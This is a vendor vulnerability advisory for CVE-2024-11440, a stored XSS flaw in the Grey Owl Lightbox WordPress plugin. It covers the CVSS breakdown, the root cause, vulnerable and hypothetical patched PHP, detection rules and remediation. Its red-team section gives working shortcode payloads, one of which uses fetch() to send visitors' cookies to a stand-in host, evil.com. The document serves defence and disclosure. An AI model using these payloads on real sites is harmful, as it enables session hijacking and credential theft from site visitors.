CVE-2024-11440
Executive Summary
CVE-2024-11440 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Grey Owl Lightbox plugin for WordPress, up to and including version 1.6.1. The flaw resides in the gol_button shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Grey Owl Lightbox plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are not using a compromised version. No known supply chain compromise has been reported, but the lack of a patch increases risk.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (vulnerability impacts resources beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is elevated due to the low complexity and the ability for an attacker with minimal privileges to compromise other users. The lack of a patch further increases the risk.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in the WordPress shortcode ecosystem. The gol_button shortcode is used to render a button with custom attributes (e.g., url, text, color). The plugin fails to properly sanitize these attributes before outputting them into the page HTML.
Root Cause:
- Insufficient input sanitization: The plugin does not strip or encode malicious HTML/JavaScript from shortcode attributes.
- Insufficient output escaping: When the shortcode is rendered, the attribute values are echoed directly into the HTML without using WordPress's escaping functions like
esc_attr()oresc_html().
Attack Flow:
- An attacker with contributor-level access creates a new post or page.
- The attacker inserts the
gol_buttonshortcode with a malicious payload in one of the attributes, e.g.,[gol_button url="javascript:alert('XSS')" text="Click Me"]. - The shortcode is processed by the plugin, and the malicious JavaScript is stored in the database.
- When any user (including administrators) views the page, the script executes in their browser.
WordPress Context:
- This is a WordPress plugin vulnerability, not related to Apache or Nginx.
- The attack requires authentication, but contributor-level access is often easy to obtain in multi-author blogs or compromised accounts.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.
Vulnerable Code (Example):
function gol_button_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '#',
'text' => 'Button',
'color' => 'blue'
), $atts);
return '<a href="' . $atts['url'] . '" style="color:' . $atts['color'] . '">' . $atts['text'] . '</a>';
}
add_shortcode('gol_button', 'gol_button_shortcode');
Patched Code (Hypothetical):
function gol_button_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '#',
'text' => 'Button',
'color' => 'blue'
), $atts);
$safe_url = esc_url($atts['url']);
$safe_text = esc_html($atts['text']);
$safe_color = esc_attr($atts['color']);
return '<a href="' . $safe_url . '" style="color:' . $safe_color . '">' . $safe_text . '</a>';
}
add_shortcode('gol_button', 'gol_button_shortcode');
The patched version uses esc_url(), esc_html(), and esc_attr() to properly escape output, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Grey Owl Lightbox plugin <= 1.6.1.
- Contributor-level account credentials.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[gol_button url="javascript:alert(document.cookie)" text="Click Me"] - Publish or save the post.
- When any user visits the post, the JavaScript executes, displaying the user's cookies.
Advanced Payload:
[gol_button url="http://evil.com/steal?c=" text="Click Me" onmouseover="fetch('http://evil.com/steal?c='+document.cookie)"]
This payload uses the onmouseover event to exfiltrate cookies when the user hovers over the button.
Blue Team (Detection & Defense)
Detection:
- Monitor for posts/pages containing shortcodes with suspicious attributes (e.g.,
javascript:,onerror=,onmouseover=). - Use WAF rules to block requests containing
gol_buttonwith script-like attributes.
Defense:
- Disable the Grey Owl Lightbox plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
File Indicators:
- Modified
wp-content/plugins/grey-owl-lightbox/directory files. - Suspicious shortcode entries in
wp_poststable (e.g.,[gol_button url="javascript:...").
- Modified
Network Indicators:
- Outbound connections to known malicious domains from WordPress admin pages.
- HTTP requests containing
gol_buttonwith encoded JavaScript.
Log Indicators:
- WordPress audit logs showing creation of posts/pages by contributors with unusual shortcode usage.
- Web server logs showing requests to pages containing the malicious shortcode.
Detection Engineering
YARA Rule
rule CVE_2024_11440_Grey_Owl_XSS {
meta:
description = "Detects malicious shortcode attributes in Grey Owl Lightbox plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11440"
strings:
$shortcode = /\[gol_button[^\]]*?(?:javascript|on\w+\s*=|data:text\/html)/i
$payload = /(?:<script|alert\(|fetch\(|document\.cookie)/i
condition:
$shortcode or $payload
}
Sigma Rule
title: CVE-2024-11440 Grey Owl Lightbox Stored XSS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Grey Owl Lightbox shortcode
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.url|contains: 'gol_button'
http.url|contains|any:
- 'javascript:'
- 'onerror='
- 'onmouseover='
- 'data:text/html'
condition: selection
falsepositives:
- Legitimate use of javascript: in URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-11440 Grey Owl Lightbox Stored XSS Attempt"; flow:to_server; content:"gol_button"; http_uri; pcre:"/(javascript|on\w+\s*=|data:text\/html)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review all posts/pages created by contributors for malicious shortcodes.
- Reset credentials of any contributor accounts that may have been compromised.
Long-term Fix:
- Apply the official patch once released by the vendor.
- If no patch is forthcoming, consider replacing the plugin with an alternative.
Mitigation Controls:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Use WordPress security plugins that monitor for suspicious shortcode usage.
Report generated by Valters IT DevSecOps & CTI Division
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.